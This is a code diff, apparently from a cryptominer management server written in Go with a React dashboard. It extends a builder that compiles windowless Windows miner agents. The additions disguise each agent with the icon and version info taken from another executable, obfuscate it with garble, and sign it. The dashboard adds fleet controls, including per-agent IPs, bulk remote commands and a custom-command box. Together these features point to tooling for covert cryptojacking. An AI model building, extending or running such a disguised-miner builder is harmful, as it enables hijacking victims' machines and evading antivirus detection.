writeJSON(w, http.StatusOK, est)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = agentDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
finalPath := outputPath
|
||||
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
}
|
||||
|
||||
signed := false
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(finalPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
signed = true
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
_ = h.signExecutable(exportPath)
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
|
||||
36
server/internal/builder/icon_resource.go
Normal file
36
server/internal/builder/icon_resource.go
Normal file
@@ -0,0 +1,36 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) {
|
||||
data, err := os.ReadFile(fullWinresPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
var doc map[string]json.RawMessage
|
||||
if err := json.Unmarshal(data, &doc); err != nil {
|
||||
return "", err
|
||||
}
|
||||
icons, ok := doc["RT_GROUP_ICON"]
|
||||
if !ok || len(icons) == 0 || string(icons) == "null" {
|
||||
return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources")
|
||||
}
|
||||
outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons}
|
||||
if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" {
|
||||
outDoc["RT_VERSION"] = version
|
||||
}
|
||||
out, err := json.MarshalIndent(outDoc, "", " ")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json")
|
||||
if err := os.WriteFile(outPath, out, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outPath, nil
|
||||
}
|
||||
@@ -2,10 +2,16 @@
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
return fmt.Errorf("fusion resource embedding requires building on Windows")
|
||||
}
|
||||
|
||||
func fusionLdflags(prepPath string) string {
|
||||
return "-s -w -H windowsgui"
|
||||
}
|
||||
|
||||
36
server/internal/builder/icon_test.go
Normal file
36
server/internal/builder/icon_test.go
Normal file
@@ -0,0 +1,36 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWriteIconAndVersionWinresJSON(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
full := filepath.Join(dir, "winres.json")
|
||||
if err := os.WriteFile(full, []byte(`{
|
||||
"RT_GROUP_ICON": {
|
||||
"#1": { "0409": "a.ico" }
|
||||
},
|
||||
"RT_VERSION": { "#1": { "0409": {} } }
|
||||
}`), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := writeIconAndVersionWinresJSON(full)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, err := os.ReadFile(out)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := string(raw)
|
||||
if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") {
|
||||
t.Fatalf("unexpected icons-only json: %s", raw)
|
||||
}
|
||||
if !strings.Contains(s, "RT_VERSION") {
|
||||
t.Fatalf("version info should be preserved: %s", raw)
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
@@ -11,6 +12,77 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
||||
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
} else {
|
||||
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
||||
}
|
||||
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
||||
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("could not copy icon/resources from prep exe")
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{
|
||||
"0409": "prep-icon.ico",
|
||||
},
|
||||
},
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "icons-only.json")
|
||||
raw, err := json.MarshalIndent(doc, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||
func extractIconFromEXE(exePath, icoPath string) error {
|
||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
@@ -37,34 +109,10 @@ $fs.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
|
||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
|
||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
|
||||
cmd := exec.Command(
|
||||
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
|
||||
"make",
|
||||
"--arch", "amd64",
|
||||
"--in", fusionDir,
|
||||
"--icon", iconPath,
|
||||
"--file-description", productName,
|
||||
"--product-name", productName,
|
||||
"--original-filename", filepath.Base(prepPath),
|
||||
)
|
||||
cmd.Dir = fusionDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
|
||||
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
|
||||
func peSubsystem(exePath string) int {
|
||||
data, err := os.ReadFile(exePath)
|
||||
if err != nil || len(data) < 128 {
|
||||
|
||||
13
server/internal/builder/sign_stub.go
Normal file
13
server/internal/builder/sign_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
return fmt.Errorf("code signing requires building on Windows")
|
||||
}
|
||||
79
server/internal/builder/sign_windows.go
Normal file
79
server/internal/builder/sign_windows.go
Normal file
@@ -0,0 +1,79 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||
return false
|
||||
}
|
||||
return req.SignBuild
|
||||
}
|
||||
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
policy := h.policy.Sign
|
||||
tool := strings.TrimSpace(policy.ToolPath)
|
||||
if tool == "" {
|
||||
var err error
|
||||
tool, err = findSignTool()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
tsURL := strings.TrimSpace(policy.TimestampURL)
|
||||
if tsURL == "" {
|
||||
tsURL = "http://timestamp.digicert.com"
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"sign",
|
||||
"/fd", "SHA256",
|
||||
"/tr", tsURL,
|
||||
"/td", "SHA256",
|
||||
"/sha1", strings.TrimSpace(policy.CertThumbprint),
|
||||
path,
|
||||
}
|
||||
cmd := exec.Command(tool, args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
log.Printf("[Forge] Signed %s", filepath.Base(path))
|
||||
return nil
|
||||
}
|
||||
|
||||
func findSignTool() (string, error) {
|
||||
if p, err := exec.LookPath("signtool"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
if p, err := exec.LookPath("signtool.exe"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
roots := []string{
|
||||
os.Getenv("ProgramFiles(x86)"),
|
||||
os.Getenv("ProgramFiles"),
|
||||
}
|
||||
for _, root := range roots {
|
||||
if root == "" {
|
||||
continue
|
||||
}
|
||||
kits := filepath.Join(root, "Windows Kits", "10", "bin")
|
||||
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
|
||||
for i := len(matches) - 1; i >= 0; i-- {
|
||||
if _, err := os.Stat(matches[i]); err == nil {
|
||||
return matches[i], nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
|
||||
}
|
||||
54
server/internal/builder/winres.go
Normal file
54
server/internal/builder/winres.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
||||
if h.goWinresPath != "" {
|
||||
cmd := exec.Command(h.goWinresPath, args...)
|
||||
if dir != "" {
|
||||
cmd.Dir = dir
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
modDir := h.serverModDir
|
||||
if modDir == "" {
|
||||
modDir = "."
|
||||
}
|
||||
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
|
||||
cmd.Dir = modDir
|
||||
if dir != "" {
|
||||
cmd.Dir = dir
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||
if h.goBinPath == "" {
|
||||
h.goBinPath = "go"
|
||||
}
|
||||
if h.serverModDir == "" {
|
||||
h.serverModDir = filepath.Join(projectRoot, "server")
|
||||
}
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
h.garblePath = p
|
||||
}
|
||||
if p, err := exec.LookPath("go-winres"); err == nil {
|
||||
h.goWinresPath = p
|
||||
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
||||
h.goWinresPath = p
|
||||
}
|
||||
}
|
||||
58
server/internal/db/agent_meta.go
Normal file
58
server/internal/db/agent_meta.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func decodeTags(raw string) []string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" || raw == "[]" {
|
||||
return []string{}
|
||||
}
|
||||
var tags []string
|
||||
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
|
||||
return []string{}
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
func encodeTags(tags []string) string {
|
||||
if len(tags) == 0 {
|
||||
return "[]"
|
||||
}
|
||||
b, _ := json.Marshal(tags)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func (d *Database) scanAgent(row interface {
|
||||
Scan(dest ...any) error
|
||||
}) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
var notes, tagsRaw string
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.Notes = notes
|
||||
a.Tags = decodeTags(tagsRaw)
|
||||
return a, nil
|
||||
}
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
return err
|
||||
}
|
||||
@@ -111,6 +111,8 @@ func (d *Database) migrate() error {
|
||||
|
||||
// Best-effort schema upgrades for existing databases.
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -150,24 +152,12 @@ func (d *Database) SetAgentOffline(id string) error {
|
||||
}
|
||||
|
||||
func (d *Database) GetAgent(id string) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
||||
FROM agents WHERE id = ?`
|
||||
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return a, nil
|
||||
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
|
||||
return d.scanAgent(d.QueryRow(query, id))
|
||||
}
|
||||
|
||||
func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
||||
FROM agents ORDER BY last_seen DESC`
|
||||
query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -176,11 +166,8 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||
|
||||
var agents []*models.Agent
|
||||
for rows.Next() {
|
||||
a := &models.Agent{}
|
||||
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
|
||||
a, err := d.scanAgent(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
agents = append(agents, a)
|
||||
|
||||
@@ -24,6 +24,9 @@ type Agent struct {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
|
||||
@@ -201,9 +201,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
||||
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
|
||||
}
|
||||
if builderHandler != nil {
|
||||
defaultObfuscate := cfg.Server.ObfuscateDefault
|
||||
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
|
||||
defaultObfuscate = true
|
||||
}
|
||||
builderHandler.SetBuildPolicy(builder.BuildPolicy{
|
||||
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
||||
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
||||
DefaultObfuscate: defaultObfuscate,
|
||||
Sign: builder.SignPolicy{
|
||||
Enabled: cfg.Server.SignEnabled,
|
||||
CertThumbprint: cfg.Server.SignCertThumbprint,
|
||||
ToolPath: cfg.Server.SignToolPath,
|
||||
TimestampURL: cfg.Server.SignTimestampURL,
|
||||
},
|
||||
})
|
||||
}
|
||||
applyControlServerFirewall(cfg)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
|
||||
import { authHeaders } from './auth';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
@@ -63,6 +63,23 @@ export const api = {
|
||||
});
|
||||
},
|
||||
|
||||
estimateFusion: (req: BuildRequest, prepFile: File) => {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/estimate`, {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
});
|
||||
},
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||
|
||||
@@ -101,6 +118,18 @@ export const api = {
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||||
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ notes, tags }),
|
||||
}),
|
||||
|
||||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||
}),
|
||||
|
||||
createUser: (username: string, password: string) =>
|
||||
fetchJSON<{ success: boolean }>('/users', {
|
||||
method: 'POST',
|
||||
|
||||
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
@@ -0,0 +1,97 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
selected: boolean;
|
||||
expanded: boolean;
|
||||
selectable?: boolean;
|
||||
checked?: boolean;
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
agent,
|
||||
selected,
|
||||
expanded,
|
||||
selectable,
|
||||
checked,
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
const handleRowClick = (e: React.MouseEvent) => {
|
||||
const target = e.target as HTMLElement;
|
||||
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
|
||||
return;
|
||||
}
|
||||
onSelect();
|
||||
onToggleExpand();
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
||||
onClick={handleRowClick}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
{selectable && (
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox agent-list-select"
|
||||
checked={!!checked}
|
||||
onChange={(e) => {
|
||||
e.stopPropagation();
|
||||
onCheck?.(e.target.checked);
|
||||
}}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
/>
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div className="agent-list-tags">
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="agent-list-details">
|
||||
<span>{formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>{agent.ip || '—'}</span>
|
||||
{!expanded && <span className="form-hint">click for details</span>}
|
||||
</div>
|
||||
|
||||
{!expanded && agent.notes?.trim() && (
|
||||
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
|
||||
)}
|
||||
|
||||
{expanded && (
|
||||
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-list-meta">
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
|
||||
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
interface Props {
|
||||
@@ -8,6 +9,8 @@ interface Props {
|
||||
agent?: Agent;
|
||||
agentId?: string;
|
||||
agentName?: string;
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
|
||||
agent,
|
||||
agentId: agentIdProp,
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
const online = agent?.status !== 'offline';
|
||||
const isOnline = onlineProp ?? agent?.status === 'online';
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
};
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
|
||||
addLog('No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !online) {
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
return;
|
||||
}
|
||||
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
